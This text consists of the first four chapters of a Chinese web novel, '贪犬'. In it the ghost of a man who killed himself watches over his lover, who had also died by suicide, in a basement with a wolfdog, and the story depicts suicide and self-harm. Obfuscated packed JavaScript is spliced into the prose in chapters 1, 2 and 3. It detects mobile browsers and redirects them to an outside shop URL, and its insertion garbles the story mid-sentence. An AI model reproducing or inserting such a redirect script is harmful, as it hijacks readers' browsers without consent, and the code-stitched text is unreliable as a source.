《贪犬》 1. 第 1 章 痛苦是上帝赐予人类的徒刑,深渊中令人悚然的恐惧是无法摆脱的罪孽,于是,浅薄的意识渴望救赎,夜夜祷告成了心灵摇摆的寄托,也成了十字架上血钉的束缚。 而臆想幻觉则成了濒死前的恩赐。 浓稠夜下,残月高悬头上,十字架的尖端直指罪孽牢笼的中央。 疯人院的走廊尾端,死寂的房间内锁着一个人。 纯白一片的房间内无水无物无生者,唯有一条漆黑的铁链贯穿整个房间,从东至南,如同从墙隙中钻出的野草。 而草根之下营养的来源,是一个躺在血泊里的男人。 他的血肉完整,腕部糜烂,身侧斜倒着把染血的匕首刀,刀柄上被擦拭得干干净净,没有半分尘埃,刀刃未沾血的位置光亮反光,如同定格死人弥留遗像的窄镜。 或许。 男人死前还曾对着刀刃看观察过自己惨白的脸。 迟雾死了。 自杀。 他本以为人死后会有上天堂和下地狱之分,他曾经那么害怕下地狱,哪怕得癌症痛得他半夜用手挠墙都没敢生过自杀的心思,因为他不想下地狱,做恶鬼太丑,脸上要被涂得像绽放的菊花一样,他想上天堂,上天堂能漂亮点儿,至少,只要在脑袋上箍个金色的圈圈就好了。 可事实上,死后只有一片黑暗,无尽的寂静让人几乎要崩溃。 迟雾站在黑暗中央想,所有人死后都是这样吗。 那于南怎么办,他最怕黑了。 他会不会站在黑暗里后悔,后悔自杀,而不是苟活着好好爱他。 可下一秒,迟雾就感觉整个人止不住地往下坠落,像是随时要被发配到地狱里去。 迟雾漫无目的地想,会见到于南吗,不对,他做的坏事可能要比于南多一些,于南就是个包容一切的残湖,水波绵绵而起,容纳所有不近人情的伤害,而迟雾在面对那些伤害的时候,只会亮出利牙狠狠地咬回去。 大不了同归于尽,他向来不怕死。 那他是不是要比于南所处的地狱更低几层? 可能吧,实在不行,以后他多做点儿好事,再爬梯子上去找于南就是了。迟雾这么想着。 可当他坠落到底的时候,他见到的不是地狱烈火,不是百鬼夜行,而是一个狭小但整洁的房间,房间的四周墙面都是被砌死的,没有窗户,而且还有种若有若无的潮湿的味道。 应该是地下室,迟雾判断。 片刻后,迟雾听见一声刺耳的犬叫。 他顺着声音扭头看了眼。 是一只捷克狼犬,灰白皮毛,狼一样的瞳孔,它就那样死死地盯着迟雾,呲牙咧嘴,喉咙里发出一阵阵威胁的震吼声。 迟雾偏头看它两秒,翕动嘴唇问:“死狗何必欺负死人,打架打赢了就能活着不成?话说回来,狗死了之后能不能说人话啊,或者你给我带条路,告诉告诉我去哪报道行不?我是新来的死人。” 迟雾试图跟它套近乎,伸手放在它面前逗弄了下,谁知这狗竟然这么不经逗,直接朝着他的手咬过来。 迟雾本来想躲来着,但思绪纠结一秒,还是保持着原来的动作,没动,打算看看人变成鬼之后被咬了会不会受伤流血。更何况他还是割腕死的,变成鬼之后,血应该都流干了吧,被咬一下应该不会太血腥狰狞,就当疼一下找个新奇体验了。 可犬牙刺穿他手掌那瞬,他看见自己身体的一部分像团烟雾一样撕扯着散开来,而后又快速凝结回原样。 “哦。”迟雾欠揍地说:“你咬不到我呀。” 他笑眯眯地又在犬嘴旁晃了两下手,见它咬不着只能疯狂吠叫,瞬时笑出了声,“怎么这么执着呢,喂,你快带我去报道。” “九月三。” 听见声音,迟雾脸上的笑容瞬间僵硬,而后寸寸皲裂,他迟缓地抬起头,视线看向那走进来的男人身上。 只见男人穿着件黑色毛衣,宽大的衣袖下露出手腕处凹下去的皮肉,他朝着狼犬走来,抬手安抚了下狼犬,在他脖颈处摸了摸。 那张脸近在毫厘处,迟雾下意识地伸出手去小心翼翼地触碰男人的眉眼,连带着咬牙切齿的一声:“于南,你先叫一只狗都不理我。” 于南却像没听见般,仍旧垂着眼看狼犬,见它依旧焦躁地冲着墙角吠叫,才缓慢抬起眼皮,看向迟雾所在的位置。 对上于南的视线,迟雾下意识地收回即将触碰上去的手,快速别开眼,别扭地说:“你自杀之后,没人给我饭吃,我很久没好好吃饭了,瘦了很多,很丑,你别看我。” 说着,迟雾扯了扯身上的蓝白色病号服,好像他这么坚持不懈地扯下去,就能把这一件衣服扯成宽大的麻袋,将整个人的不体面都藏进去,一丝不露。 可于南只是淡淡地收回视线,拍了拍九月三的脑袋,说:“开饭了,九月三。” 他扯着九月三脖子上的狗链,把它往另一个房间里牵。 视野里那双脚远走。 迟雾傻愣愣地站在原地。 他喃喃地叫:“于南,你怎么能不理我。” 迟雾忍受不了,跑到于南面前,伸出手拦住他的去路,大声喊道:“于南,我不爱你了行吗,我以后都不爱你了,你别不理我行吗。” 于南却神情冷漠地从他的身体里穿过去。 迟雾抬起手,怔怔地盯着手掌中央模糊掉的生命线,身后传来于南的声音:“九月三,吃吧。” 迟雾转过身去,直勾勾地盯着于南看,他看见于南坐在地上,端起了放在地上的两个碗其中的一个,碗里是稀水粥,米粒很少,比起粥,更像是一碗白水里放了勺米来当调味。碗上还有个坏掉的豁口。 而九月三的碗里也是一样的,只不过比于南的碗里多了半根火腿肠。 于南吃饭很慢,吞咽的时候喉结上下滚着,像是个石头温吞地落下来,他整个人的神情很淡,狭小的房间里只有个窄小的床垫上铺着个薄毯子,而他们吃饭的场所就是床垫旁和墙壁的空隙,一盏台灯照亮一切,却只能堪堪照亮于南的半张脸。 光亮没法将他全部笼罩。 迟雾一步步极其缓慢地走近,他双膝跪到于南面前,手掌撑着膝盖骨,脊背颓塌得不成样子,良久他才哽咽地说:“于南,我给你烧了很多香,我把我所有的钱都用来买纸钱和香了,你还是吃不饱饭吗。” “对不起,于南,我太穷了,早知道,我多赚点钱再死好了……我只是太想你了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199116|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 于南若有所感地抬起头,他看见了墙壁上斑驳的漆面掉落一角,摔在地上,碎了一片纯白。 那一碗粥,于南只喝了一小半,剩下的都倒到了九月三的碗里。 九月三抬头叫了两声,尾巴摇得欢快。 迟雾只觉得心酸,决定寻死后,他在佛祖面前祷告了一百天,他不求自己来生如何,只要于南死后能不再苦悲,可就算这样,佛祖都没能满足他,于南还是过着这样凄惨的日子,甚至一切苦痛都从头来过。 于南为什么要受这样的苦。 人总是,下跪时虔诚,站立时居高。 迟雾现在恨不得死而复生,拿着那把自杀的匕首刀冲进寺庙里把那尊欺骗凡人俗愿的金佛砍个稀巴烂。 没法让于南幸福的佛有什么资格受他跪拜。 迟雾无头苍蝇般站起身在小屋内乱转,他想找到个出口,这儿不是地狱吗,掌管地狱的神和鬼呢,他要见那些人。 凭什么于南死了是亲自受苦,他死了就是看着于南受苦,明明他的罪孽要比于南深重得多,应该受苦的是他才对。 凭什么,凭什么,凭什么。 于南死后该幸福了,他该幸福了啊! 可转了几圈,他发现,这里没有半点儿地狱的样子,一切魔法黑洞通通没有,其他游鬼飞魂也压根儿不存在,仿佛只有他和于南……还有那条狗被监禁在此处。 可凭什么狗能看见他,于南不能。 凭什么,凭什么,凭什么。 迟雾嘶吼着去挠墙,就像他癌症晚期时无数个日夜里一样,只不过那时候有于南抚摸他的背脊,现在却只有他自己孤零零地叫喊,他被世界下了死刑,他被迫和于南隔离成了两方世界的鬼魂。 直到嗓子哑得发不出来任何声音,迟雾才背靠着墙壁瘫坐下来。他开始观察此刻的于南。 陡然,他宽慰地发现,于南的耳朵上没戴助听器。 他告诉自己,至少于南死后耳朵好使了。 下一秒,他就看见于南从抽屉里拿出个小盒子,从里面拿出助听器戴在耳朵上。 于南拉开家门,出去了。 迟雾下意识地想跟出去,却还没等他跑到门口,于南就把门关上了。 迟雾丧气地躺在地板上,和跑过来的九月三大眼瞪小眼。 九月三对他还是不打友好,时不时叫上两声也就算了,还张嘴去撕咬他的身体,迟雾的身上这儿开个洞又复原,那儿开个洞又复原,他却始终保持挺尸状态。 这和他想象中的人死后完全不一样。 迟雾冲着九月三说:“如果你会说人话就好了,我和于南就能通过你聊天了。” 九月三呲牙咧嘴。 迟雾说:“真凶。” 过了几秒。 迟雾又说:“吃那么少还能叫这么大声,因为多吃了火腿肠吗?以后我也要给于南买很多火腿肠吃,让他多说说话。” 九月三直接四只爪子一齐飞起,死压到他身上,把他身体中央压散出个大洞。 迟雾正对着九月三流口水的狗嘴,没忍住,手掌撑着地面,往后爬了爬。 脏狗。 他给于南当狗可比这干净多了。 2. 第 2 章 迟雾又想,可能是因为他比于南晚死了三年,所以于南才看不见他,或许再过个三年,他就能和于南说话了。 报着这个念头,迟雾跑到了那张窄床上,蜷缩在上面,还贪婪地抓着薄毯贴到鼻子上,深嗅了口上面的味道,但属于于南的味道是那样浅淡,更多的还是地下室无休止的潮湿味。 迟雾不满地哼唧了两声,等到于南能看见他的时候,他已经快两千多天没抱过于南了,到时候他一定要狠狠地把于南圈在自己怀里,像只狗一样在于南身上蹭来蹭去,一字一句地告诉于南,他究竟有多想他,想他想得要死掉了。 三年,怎么熬呀。 于南就在他面前晃悠,跟吊在狗脑袋上的火腿肠一样。 九月三蹲在床边朝着迟雾叫,迟雾冷哼了声,直接无视它。 吵死了。 怪不得于南在家里不戴助听器。 迟雾死后一直在那片黑暗里就没睡过觉,终于看见于南,他那一颗悬着的心也落了下来,躺在床上幻想着以后让于南成为世界上最幸福的鬼的日子,昏沉地睡去。 再次醒来,是被一道关门声吵醒。 九月三朝着门口狂奔,迟雾也从床上跳下来,兴奋的样子和九月三如出一辙,甚至比之更甚,他绕着于南左看右看,嗅了又嗅,检查他身上出现什么伤口没,最终没发现什么异样,才就此放下心来。 于南手里拎着个袋子。 迟雾凑近去看,从顶头看见里面装着几盒止疼药。 “于南,你哪疼啊。”迟雾紧张兮兮地问。 当然,没人回应他。 于南把塑料袋放在靠门的地板上,然后走进盥洗室狭小的空间里,拧开水龙头,接了把冷水,扑到脸上,又在哗啦啦的水声中平静地脱掉全身的衣服,就站在那儿,一次次从只达腰间高度的水龙头下接水,极其缓慢地给全身上下沾湿,勉强算是洗澡。 迟雾第一次看见于南的裸.体。 于南弯着腰,后腰的脊骨凸出,白皙的皮肤藏不住骨节间下凹的痕迹,那中凹痕从脖颈蔓延至股间,带有别样的美感。水流也顺着他的头发往下滑落,从上艰难地滑至小腿。 盥洗室没有灯,但外面的灯光挤进去,足以让迟雾将他全身上下每个角落都看得清清楚楚。 迟雾的喉结温吞地滑动了下。他下意识地扭头看了眼九月三,发现九月三也在盯着于南看,他连忙一个错身挡在九月三的面前。 “不许看,色狗。”迟雾不满地说。 九月三低叫了两声,随时准备再次扑到迟雾身上撕咬。 迟雾却没心情理会它,反正它也咬不死自己。 “于南的身体只有我能看。” 迟雾走到盥洗室间,直到距离近到仿佛下一秒就能触碰到于南的身体,他才恋恋不舍地停下脚步,用手指触碰了下于南的肩膀。 当然,他的手指在贴到于南身体上那刻就陷出来个小坑,残忍地提醒他,他还不能和于南发生任何真实的肢体接触。 这时候迟雾却不想骂人了。 他觉得这样挺好的。 以后他是不是每天都能看见于南洗澡了。 迟雾收回手指,盯着又恢复原样的指腹,眼睫颤动了下,只觉得喉咙干涩。 他伸出舌头,舔了下指腹。 咸的。 而不是于南洗澡水的味道。 迟雾放光的眼睛暗淡些许。 好吧。 变成鬼之后确实有福利,但是他不知足。 迟雾重新抬眼,紧盯着于南的身体,目光坦荡地将他上下扫视个遍,而脸上渐渐加深的笑容却在视线触及某处时戛然而止。 于南的侧腰上有一道疤,从胸口偏左的位置蔓延至胯骨上毫厘处,疤痕狰狞丑陋,让人难以忽视,那条疤痕应当是留了没多久,长出的新肉还泛着淡淡的粉,水珠滑至疤痕上时还会因为凸起而被阻留两秒,才接着往下滑。 迟雾蹲到地上,让身后的光打进来更多,而他看那疤痕也看得更清晰。 疤痕不是直挺挺的一条,而是蜿蜒出来的一条弧线,中间还有支出来的一小块儿,像是一刀没达目的后又接着上一刀的收手处接着补了一下。 于南伸手摸了下疤的位置,应该是愈合过程有些痒,他在那附近位置挠了一下。 他的皮肤很白,很快就见了红。 于南的手指又移到疤的正上方,面无表情地用指甲抠着嫩肉,比周遭更狰狞的血色涌了上来。 疤破了。 血往下淌。 九月三嗅到血腥味一瞬躁动起来,哼唧了两声就往于南这儿跑。 迟雾听见身后的声响,想也不想就抬脚往后踹了一下,打算把这个不理智的傻狗给踹跑。 但结果是,九月三的前爪踩着他的脚,脑袋把他的一条腿给顶散了。 迟雾不打算撤出去,又赶不走这狗,只能冷着脸任由自己以这个下半身扭曲的丑陋模样站在于南身边。 至少他上半身还是正常的,尽管于南看不见他,但他总归是维持住了表面的体面。 于南的身上很光洁,没有汗毛,也没有其他的杂毛。 他抽出张手纸简单擦拭了下血迹,但血没止住,擦完这一下,又有血快速流下来,于南直接把纸巾压到伤口上。 纸巾被浸湿一块儿。 于南等了两秒,才把纸巾团成一团扔进垃圾桶里,然后从一旁的墙上摘下挂着的浴巾,在身上细致地擦了擦,又从地上的一个小矮桶里拿出叠好放在里面的一套制服,套到身上。 迟雾近乎贪婪地看着他的每一个动作。 直到于南穿戴整齐,他才舔了下嘴唇,觉得时间实在是过得太快,于南的动作也太快。 这时,他才反应过来,于南身上的制服,分明是在便利店打工穿的衣服。 “死了之后还要打工?”迟雾蹙眉,又开始后悔,“当初给于南烧的纸钱是被这儿管辖的魔头给贪污了一半吧,要不怎么也不至于于南才死了三年就要自己打工了。” 迟雾又抬头在天花板找了一圈,见没有任何类似起到监视作用的摄像头,才骂了一句:“傻逼魔头,别让老子抓着你,不然我高低把你打骨折再团吧团吧捏成足球扔回人间,等着以后当个只有海参味的庸俗皮球吧。” 嘴上骂着,也不耽误迟雾再次伸出手在于南胸前衬衫走线的位置摸了一下,虽然没控制好距离,指尖被挤得散了一小截,但迟雾还是开开心心地收回手指,然后在指腹上再舔了一下。 其实他更像直接舔于南的身体,但他碰不着于南,只能倍感惋惜地退而求其次了。 而九月三却没有他的烦恼,直接伸出舌头在于南的小腿位置舔了一下。 于南感觉到后,垂眼看了九月三一下,却陡然发现九月三后背的毛不知道被什么压塌了一小块,毛发紧贴在身上。 于南盯着那处看了良久。 迟雾也顺着他的视线看过去,就发现九月三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到卧室,于南发现自己床上的薄毯皱巴巴地堆在一起,像是有人在上面睡了一觉后胡乱堆起来的。 于南睡觉的时候没什么大动作,基本都是平躺着,他睡觉很浅,睡眠时间很短,大多数时候,薄毯盖在他身上都不会有多少褶皱,更别提起床后就这么邋遢地堆到一旁。 陡然,于南又听见了声狗叫。 九月三对着墙角疯狂吠叫。 于南想起来他搬进来时邻居的话。 “你知道我们这儿为什么房租这么便宜吗?因为这儿曾经是建精神病院的,众所周知,十个疯子,九个死在精神病院,当年这儿死了不少人,早些年还出过不少闹鬼的新闻,更何况啊,你这住的还是地下室,多照顾好自己吧。” 那个邻居大妈还好心地送了他本圣经。 那本书一直被他放在床下,从没翻开过。 于南弯腰从床下摸出来那本书。 全白的封皮,黑色的“圣经”两个字刻印在上面。 他盯着那两个字看了两秒。 最终还是没翻开这本书。 圣经。 神无从解救胆怯的活人,要想从惊悚中逃离,第一步应该是走到死亡中去。 于南将书摆在床头。 这是那只孤魂野鬼该看的。 3. 第 3 章 迟雾看见书封上的“圣经”两字,眨眨眼。 从前在医院的时候,于南同他讲话,轻声抚慰他时,有时就会说到神鬼论。在于南的意识里,神是世界上最残忍的生灵,而鬼则是摇尾乞怜的可怜虫。 因为神从来都不庇佑世人,永远只会高高在上地俯瞰一切的发生,而鬼都是人死后变成的魂体,人因何而死?病痛、寿尽、或是意外事故,无论哪种,好像人死前弥留之际都会乞求上天让自己再多活几年,像条狗一样在意识海里乞求一个根本不会怜悯自己的存在,可不就是可怜虫吗。 那时候的迟雾躺在于南的怀里。 他问他:“于南,我死了之后绝对是世界上最可怜的可怜虫。” 因为他实在是太疼了。 他人生的前二十五年几乎可以称得上是顺风顺水,在病入膏肓后的凄惨的衬托下,曾经的美好显得弥足珍贵,让人更加想要再次拥有。 迟雾本以为,某一天他要面临死亡的到来,他一定会在拼着最后一口气也把于南叫到自己面前,然后让他看着自己扯着嗓子嚎啕大哭,他要把这辈子没能流出来的眼泪都用上,就为了在于南面前演一场戏,让于南记住自己有多疼、有多可怜,好让于南这辈子都忘不了自己。 但没成想,老天真瞎了眼,庇佑了他这个不虔诚的信徒。 他的癌症在晚期奇迹痊愈。 出院的时候,他那样开心,他觉得他这辈子没见过这么漂亮的太阳,哪怕皮肤被烈阳刺得疼痛难忍,他也没被坏了好心情,始终牵着于南的手,他们蹲在医院门前的花坛旁边,看着里面姹紫嫣红而稍显庸俗的花。 里面有一朵特别显眼的大红花,他们还给它起了名,就叫食人花,这是迟雾毫不掩饰的顽劣,而于南则是毫无异义地顺从着他。 之后,变成了迟雾照顾于南。 迟雾住进医院是因为癌症,而于南进医院则是因为他的脊柱侧弯,半个身体几乎没了知觉,迫不得已到定期到医院里针灸,就这样,迟雾在逃离压抑的病房时,在走廊里撞见了于南。 于南被疯狗一样的迟雾撞倒在地,胳膊撞到走廊边侧的铁质座椅上,被划出一条特别长的伤口,流了很多血。 迟雾当时看见那么多血的第一个想法就是,他不疼吗,怎么能连眉头都没皱一下呢。 后来他问于南的时候,于南只是沉默两秒,说:“没什么感觉。” 迟雾觉得于南在撒谎,直到现在也是这么觉得,并且保证这辈子都会这么觉得。 坚定不移。 于南肯定有感觉的,他肯定疼的想流眼泪,只不过这么疼了半辈子,疼了二十八年,从小到大都被各种层面的糟心事蹉跎,所以习惯了而已。 迟雾想让他哭,他用牙咬于南的手指头,但于南只会抬起另一只手摸摸他的脑袋,然后不吭声。迟雾就没了别的办法,他没办法更过分地去用更多的力气来咬更易痛的部位了,他是想让于南承认疼痛,而不是不择手段地制造疼痛。 于南这人,迟雾拿他没办法。 迟雾唯一能做的就是尽自己最大的能力去爱护他、照顾他,把这个布满裂痕的陶瓷精细保护起来。 可就在迟雾摆脱了病痛,准备好学习如何照顾于南时,他才刚做了一两件微不足道的小事,于南就在家里自杀了。 警察说。 于南的手机通讯录里只有迟雾的电话号码。 这是迟雾要求他存进去的,用迟雾的话来说就是,这串号码就是他的编号,只要于南使用这串编号,就能召唤出来一个还算有几个优点的男朋友。 于南给他号码的备注也很简单。 男朋友。 迟雾想了很久都想不通于南为什么会自杀。 后来,警察在于南家地板下的暗格里找到了他最近看的几本书。 每本书的书页都泛着黄,被岁月涂上了颜色。 其中一本书里夹着页纸。 是于南的遗书。 他这人,那样体贴人,却在死前做了件不大体贴的事,把遗书藏得那么深。迟雾还以为他一句话都没给自己留,这页遗书的出现,迟雾短暂地原谅了于南一秒。 可看清上面的内容,迟雾又开始讨厌他。 上面写。 [迟雾,你的感情弥足珍贵,我知足。] 短短十三个字,迟雾看了三年。 他甚至盯着每个字收尾时笔画的弧度仔细检查,试图通过这种称得上白痴的方式来揣测当时于南的想法。 三年,他做了很多个梦。 每个梦里,于南的脸都是模糊的。 他一点点地猜,一点点地找寻真相。 毫无疑问,他这种行为在别人眼里看起来毫无意义,人都死了,你搞清楚他为什么而死又能怎样呢,他能复活吗,不能。 这句话给了迟雾启发,他在找寻死亡原因的同时,还开始信那些封建迷信的东西,他开始在网上结交更重“能人异士”。 有人说,帮死者了结心愿就能让他的魂魄回到自己身边,可于南的心愿是什么呢,迟雾才发现自己根本不了解他。 又有人说,只要每月初一开始为死者上香,三天紧遵吉时天机,三天上满七柱香就能让死者复活。可迟雾上了不知多少柱香,于南还是没回来。 还有人说,可以一命换一命,同样的死法,死在南北相对的位置,就可以让死者借自己的躯壳活命。 可与于南家南北相对的位置是一间茅厕。 迟雾去了,里面的屎臭熏天,他都在外面徘徊了两周,终于下定决定,大不了在厕所旁边多放两套干净衣服和一堆洗澡用品,于南复活后抓紧洗干净就行,没必要太挑。 可就在他准备咬着牙进去的时候,一个观察了他很多天的公厕保安报了警。 报警原因。 有个疯子守在公厕门口,要杀屎。 迟雾被当成了疯子,被迟延宁接回家去,关在了房间里。 迟延宁也就是迟雾的大总裁哥哥。 难得他哥百忙之中抽出时间去警局接他,而不是直接一个电话摆平一切。 于南的遗书被迟言宁抢走了。 迟延宁自然知道自己这个弟弟这几年的荒唐事。只不过这家里向来都是将一切粉饰太平。 迟雾的一切问题根本没人关注。 迟延宁帮迟雾回答了那个问题。 “你不是想知道他为什么死吗?” 迟雾从预谋再次杀屎…….不是,呃,是……..复活行动的头脑风暴中抽离思绪,看了他一眼。 迟延宁说:“他说他知足。” 迟雾不懂。 迟延宁在锁上他的门的前一刻,为他解释。 “世界上大多数人都很贪心,分明资产已经成了世界前列,却还是想要更多,而有些人只要兜里有五块钱买糖吃,就万分感恩,爱也是一样。” 迟雾又开始念叨这句话。 在迟延宁重新将那张遗书还回来后,迟雾懂了。 于南觉得他给的爱很少,只值五块钱,但于南很知足,所以他没索要更多,而是决定用死亡来定格这一点点爱。 不知从什么时候开始,迟雾偶尔自言自语,或是对着阴暗房间里布满潮气的墙壁,或是对着那扇始终没人打开的门。 他好像看见了于南。 迟雾将于南留下的那几本书全都看了一遍。 其中一本,就是圣经。 看完。 迟雾也留了一封遗书。 可他不像于南那样吝啬。 他写了很多很长、写了满满一张纸。 [我有时候在想,他就是上天给我的恩赐,我不再吝啬感情,爱挣脱浅薄的枷锁喷薄而出,化作快乐围绕着我,我越爱他,身上的疼痛就越淡,到最后,我感受不到疼痛,只能感受到春天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199118|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后来,我的病好了,疼痛却再次出现。 他自杀了。 我开始后悔因为自己贪恋幸福而给了他满满的爱,才让他这个因为孤苦寂寞而怨怼世界的灵魂感到餍足,痛苦的缓解让我贪恋世界,却让他彻底放下活着的执念。 他快乐地死去。 像最后一次振翅的鸟。 而我蜷缩在他的尸体旁,开始腐败。] 这封遗书被迟雾给烧了。 他写的遗书当然是写给于南看的。 他们是彼此的爱人,最后的话也应当留给彼此,哪怕某一方已经不在。迟雾这样认为。 但是。 他烧遗书时,一把火烧的放肆过了头。 家里的房子也被他烧了。 佣人站在燃烧成灰烬的房子前给迟延宁打电话,禀报一切。 于是,迟雾被送去了疯人院。 迟雾没有任何异议。 换个地方死而已。 但他据理力争推迟了时间。 他把自己的卡刷爆了,在殡仪界成了名不见真传的大手笔vvvip顾客。 迟雾买了很多香和纸钱,烧给于南,但这次不像之前一样吝啬,前三年,他为了让于南能在自己梦里把脸露出来,特别小气地每次烧纸钱只烧几十亿,这次他直接把自己买的所有纸钱都烧了,这次,他烧纸的时候也没有碎碎念地唠叨些什么。 因为他很快也要成为鬼了。 或许还能和于南见面。 其实迟雾也没有十成十的把握能让两人见面,他只是实在受不了现在的日子。 在梦里,每次惊醒前,他都会幻想醒来能看见变成鬼的于南站在床边盯着自己,哪怕上演一出午夜凶铃也没关系。 但幻想只是幻想。 幻想折磨得迟雾形销骨立。 疯人院里的环境不大好,会让人变成真正的疯子。自杀前,迟雾看见于南来接自己,所以他毫不犹豫地就动手了。 死后迟雾就发现,果然一切都是魔鬼在勾引他。 什么于南。 接他的分明是扛着两把大镰刀、黑布衫罩全身的鬼。 好吧。 其实连鬼都没有。 没人接他。 一切假想都来源于他毫无美感的欲望。 他孤零零地飘,死了都没人给他带路。 新手引导直接略过,全靠自行摸索。 思绪回笼。 迟雾抬手摸了下圣经那本书,发现,这本书比他看见的时候比起来要崭新不少,封皮还没破损,书页还没泛黄,上面也尚且没沾染上那萦绕着挥散不去的不知名苦涩味。 难不成地狱里面给所有东西都自动刷新了? 还是选择性的? 迟雾摸不着头脑。 但他看见于南掏出小巧破旧的翻盖手机。 哦。 这个挺旧的,看来没那荣幸被刷新。 可下一秒。 迟雾看清了上面的日期。 一……一几年? 二零二一年!? 给时间刷新了? 管辖的这帮鬼还挺人性的,无痛帮鬼重返青春。 上一秒人间嘎掉,刚咽气,下一秒发现直接年轻了八岁。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈那他现在岂不是十八岁了。 最好的年纪! 迟雾已经想好该怎么搔首弄姿了,下一秒,又反应过来—— 草,我三年后,也就是二十一岁才能被于南看见啊。 最好的年纪已逝。 迟雾吐了口老血。 这时候迟雾才发现盲点。 那于南现在不就是二十一岁吗。 时间往前拨了八年,于南怎么还是这张脸? 难不成就时间变了?脸没变? 狗逼地狱管理员! 4. 第 4 章 于南看了眼时间,离上班的时间还有半个小时。他上班的便利店就在对街,从家里走过去也就五分钟,很快,他可以再等个十几分钟再出门。 他在便利店上晚班,晚上八点到早上八点钟,十二个小时,薪资也还算不错,至少对于于南这个出狱之后一直没有收入的人来说,这算是一份很好的工作了,不看过往,不听曾经,只考察你能不能看好店、收好银。 而且便利店的老板还算不错,允许他每天早上下班的时候从店里过夜的熟食里带一些离开。 于南不贪,这几天下班的时候都刚好有煮的玉米剩下,他就带回家两根熟玉米,自己半根,九月三吃一根半。 听起来好像有些凄惨。 但于南知足。 等他干满一个月拿了工资,就能给九月三买狗粮吃。 于南在手机上输入一串电话号。 他没有存电话号的习惯,事实上,他的记忆力非常不错,虽然称不上过目不忘,但也差不多,当年上学的时候,他在班里还算个尖子生,大多数时候,比起用某样真实的载体去记录某些东西,他更喜欢用脑子记住。 那样他才有安全感。 “嘟嘟”声响了几秒,电话被那头接通。 于南把手机贴在耳边,“喂,您好。” 迟雾坐在床边,用手抚摸了下圣经的封皮,反复告诫自己,于南是个正义凛然的人,他要是知道了自己干了偷窥、偷听之类的事,说不准要认为自己是变态了,不能这么做,要做个态度端正的好孩子。 “把您的地址给我一个吧。”于南说。 地址? 谁啊。 于南主动要地址。 迟雾瞬间把刚才的想法抛之脑后,什么好孩子,他现在是个没人能看见的鬼!只要他不说,于南不会知道的,没有人会知道的。 成功说服自己。 迟雾站直身子,凑近了些,还颇有小心机地用指尖勾了勾于南的袖角,当然,没勾起来,但他不知疲倦地搞着这幼稚的小动作,仿佛这样就能蒙蔽上帝的双眼—— 上帝你看见了吗,我在和于南玩游戏,我没偷听他和别人的通话,也没想什么龌龊的事。 迟雾听见那边报了个地址。 是一道很年轻的男声,听起来和于南差不多年龄,虽然迟雾不想承认,但不得不说,这人的声音还挺好听的。 迟雾勾衣袖的动作慢了下来。 于南没主动讲过自己的感情史,迟雾倒是问过,不过是以旁敲侧击的方式。 于南讲话很温吞,大多数时候,他讲话都给人一种娓娓道来的感觉,只不过,他娓娓道来的是让人昏昏欲睡的幼稚童话,而不是迟雾真正想知道的事。 迟雾旁敲侧击得实在太隐晦。 他那时候问:“于南,喜欢是什么感觉?” 他本以为于南会用自己的经历来告诉他喜欢是什么,毕竟,电视剧里不都说了,最好的老师总是喜欢列举最真实的例子。 于南就是个好老师,他教会迟雾很多东西。 比如怎么接吻,比如两个人抱在一起的温度有多舒服,又诅咒往往比祝福要来得更灵验,所以迟雾诅咒他长命百岁平安顺遂。 好吧,从最后一条看来。 于南这个老师还有待进修。 于南对手机那头说了个“好”,就挂断了电话。 这通电话就是为了问个地址。 问地址干什么,于南要去找那个人吗。 他们是什么关系。 同事、朋友、情侣,还是……..爱人? 迟雾想扑到于南身上亲口问问他,顺便再亲一口,但现在他只能蹲在地上画圈圈,在一番思想斗争后,他陡然朝着九月三汪汪叫了两声。 “汪汪汪。”迟雾试图叫得标准,但他到底是模仿,叫得反倒字正腔圆的,非要说像狗叫的,也是声带损伤的仿生机器狗。 九月三懒洋洋地甩了下尾巴,蹲在主人脚边等待命令,不想理他。 迟雾撇撇嘴,试图说服自己。 于南看不见自己,现在只能寄托希望于九月三身上,如果自己能参破犬类语言,和九月三相谈甚欢,那他就能从九月三那儿套消息了。 迟雾说服自己了。 迟雾放轻声音,叫了声:“九月三?” 九月三扭头看他。 迟雾咳嗽了一声,清了下嗓子,“我说犬类语言不标准哈,可能我还不知道自己说的是什么,如果你听懂了就点点头,没听懂就摇摇头,do you understand?” 九月三没反应。 迟雾想了两秒自己要说什么,就直接切入正题,“汪。” 他先叫了一声试试水。 他觉得自己表达出来明确的意思了。 “于南带回来男人没有”这句话应该汪一声就够了吧,短小精干,这样才能表达他话语里隐藏的小心翼翼以及担惊受怕,还有那么一丢丢小期待。 “……..” 迟雾蹙了下眉,“九月三你不能是傻狗吧,这么具有浓缩意义的狗语你都听不懂?” “……..” 九月三直接张开嘴咬了上去,尖牙朝着迟雾那张喋喋不休的嘴。 